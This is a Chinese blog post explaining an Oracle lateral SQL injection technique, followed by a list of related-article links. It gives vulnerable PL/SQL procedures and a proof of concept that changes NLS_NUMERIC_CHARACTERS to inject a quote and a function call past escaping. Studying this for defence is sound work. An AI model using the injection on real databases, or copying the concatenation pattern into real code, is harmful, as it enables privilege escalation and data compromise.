原PAPER地址:

http://www.databasesecurity.com/dbsec/lateral-sql-injection.pdf

author : kj021320

team :  I.S.T.O

最近忙啊忙啊的,今天终于有点点时间抽出来看看技术文章了,最近国外又出了关于新型ORA注入技术的PAPER,赶紧测试,主要是出现在SQL语句字符拼接的时候,DATE类型转换为VARCHAR 以及 NUMBER转换为VARCHAR加入的格式字符出现问题。

如果直接执行SQL语句或者参数绑定则不用担心太多,

如以下ORACLE存储过程

create or replace procedure kjdatepoc(date d)

as

begin

insert into kjdatetable values(d);

commit;

end;

根本不需要担心遭受到SQL新型注入攻击,那么在什么地方会发生DATE 以及 NUMBER的注入攻击呢!?一般都是采用了动态SQL而又不采用参数绑定的语句。

例如工程师经常用的DBMS_SQL或者EXECUTE IMMEDIATE

看以下存储过程

create or replace procedure kjdatepoc(date d)

as

begin

execute immediate 'insert into kjdatetable values('|| d ||')';

commit;

end;

那么遇到以上的存储过程或者函数等,也通过修改SESSION中的NLS_DATE_FORMAT中的值达到SQL注射的目的,

老外的PAPER讲解得非常详细了 ,我在这里也不废话。

惟独对于 NUMBER类型的注射没有多作讲解 只是简单演示了可以输出单引号!

看以下语句

ALTER SESSION SET NLS_NUMERIC_CHARACTERS='''.';

SELECT to_number(1000.10001,'999999D99999')||'' FROM DUAL;

输出一下结果

1000'10001

只是多了一个单引号,那有什么用呢?乐观的来说!在特定情况下是很有价值的!看以下一个存储过程

create or replace procedure NumInjPoc(kjexpnum number,kjexpstr varchar2)

is

SecStr varchar2(1000);

begin

SecStr:=replace(kjexpstr,'''','''''');

sys.dbms_output.put_line('SELECT * FROM DUAL WHERE ID='||kjexpnum||' and name='''||SecStr||'''');

end;

内部对varchar类型进行替换了!我们可以进行测试

begin

numinjpoc(1000,'''--');

end;

其输出SQL语句为

SELECT * FROM DUAL WHERE ID=1000 and name='''--'

单引号被转义掉了

那么如果我们结合这个NUMBER类型怎么进行注射呢?

ALTER SESSION SET NLS_NUMERIC_CHARACTERS='''.';

begin

numinjpoc(TO_NUMBER(0.10001,'999999D99999'),'||kj.exp()--');

end;

看看输出结果

SELECT * FROM DUAL WHERE ID='10001 and name='||kj.exp()--'

这样就可以间接的攻击它…

在某中程度才来需要ALTER SESSION 配合后,再去攻击系统内部的一些函数或者过程来提升权限。未尝不是一种好的突破思路,但是对于单语句进行SQL注射攻击,以结果为向导的话!这样的方式没多大作为。

ORACLE LATERAL-SQL-INJECTION 个人见解相关推荐

  1. Oracle Caused by: java.sql.SQLException: sql injection violation, syntax error: syntax error, expect

    参考:https://blog.csdn.net/qq_36326332/article/details/102938147 https://blog.csdn.net/fly_captain/art ...

  2. 网络***技术开篇——SQL Injection

    http://www.cnblogs.com/rush/archive/2011/12/31/2309203.html 1.1.1 摘要 日前,国内最大的程序员社区CSDN网站的用户数据库被***公开 ...

  3. DVWA学习(一)SQL Injection

    本文参考自https://www.jianshu.com/u/9dac23b54fba,根据自己的学习进度可能会有不同的地方,详细可以查看原文链接. SQL Injection,即SQL注入,是指攻击 ...

  4. from injection shell sql to_FROM SQL INJECTION TO SHELL: POSTGRESQL EDITION

    FROM SQL INJECTION TO SHELL: POSTGRESQL EDITION 这里先介绍一下POSTGRESQL.这是一款数据库管理系统,与oracle是同类型软件.08年左右的市场 ...

  5. Fortify SQL Injection

    1. 问题描述 SQL 注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作 ...

  6. SQL Injection

    摘要     以用户或者外部不可信来源的输入动态构造SQL查询的命令,将可能改变SQL查询语句本来的语义,从而导致执行任意的SQL命令. 缺陷描述     SQL injection 错误在以下情况下 ...

  7. oracle pl/sql 程序设计 历史笔记整理

    20131016 周三 oracle pl/sql 程序设计 第2章 创建并运行pl/sql代码 sqlplus yjkhecc/yjkhecc@10.85.23.92:1521/orcl 在java ...

  8. ORACLE分页SQL

    ORACLE分页SQL 1,使用rownum SELECT * FROM ( SELECT A.*, ROWNUM RN FROM (SELECT * FROM TABLE_NAME) A WHERE ...

  9. oracle bom层级sql,oracle bom_tree.sql

    oracle bom_tree.sql CREATE OR REPLACE FUNCTION BOM_TREE(vpart_no IN parts.part_no%TYPE,mm in varchar ...

  10. Oracle查看SQL执行计划的方式

    Oracle查看SQL执行计划的方式 获取Oracle sql执行计划并查看执行计划,是掌握和判断数据库性能的基本技巧.下面案例介绍了多种查看sql执行计划的方式: 基本有以下几种方式: 1.通过sq ...

最新文章

  1. 4、通过uiautomatorviewer实现appium元素定位
  2. python3字典升序排序_Python字典和元组总结
  3. 光标定位在文本框的末尾
  4. 虚拟函数的静态决议 和 RTTI 小例子
  5. leveldb 学习记录(四)Log文件
  6. 计算机体系结构 -- 第一章3 -- 设计的定量4个原则
  7. 不同对象的通话是时长​
  8. 冒泡排序详解--python
  9. OpenCV图像处理篇之边缘检測算子
  10. 卡巴斯基提供升级包 解决病毒库升级
  11. 如何从seo的维度来选择网站的关键词
  12. cs6导入库闪退 flash_flash导入文件闪退 如何定位已关机的手机
  13. java fly bird小游戏_JavaScript实现Fly Bird小游戏
  14. 用计算机做电子贺卡送祝福,泰山版信息技术五年级上册第2课《电子贺卡送祝福》教案.doc...
  15. Exploiting Sample Uncertainty for Domain Adaptive Person Re-Identification
  16. 人口流向数据_2017中国流动人口发展报告(数据摘要)
  17. OpenCV - imwrite保存透明PNG
  18. 随机梯度下降(Stochastic gradient descent)
  19. 关于SSML音频合成是否成功的判断
  20. 低配本用win10服务器系统,低配电脑用win7还是win10比较好_低配置电脑装win7还是win10系统合适...

热门文章

  1. 区块链工作笔记0001---以太坊流程简介
  2. 项目管理001---认识敏捷开发
  3. JAVA面试要点008---HashMap、Hashtable、ConcurrentHashMap的原理与区别_ConcurrentHashMap原理
  4. java零碎要点001--深入理解JVM_Java的堆内存_栈内存_以及运行时数据区的作用
  5. bzoj2761 [JLOI2011]不重复数字
  6. ZMQ模式详解——发布/订阅模式
  7. java 保存 设置_如何在菜单中保存设置
  8. Linux从某个字符串处换行,Windows和Linux中任意字符串替换成换行符的问题
  9. threadlocal内存泄露_ThreadLocal用法详解和原理
  10. php大作业含代码_目标检测 | 目标检测技巧大汇总(含代码与解读)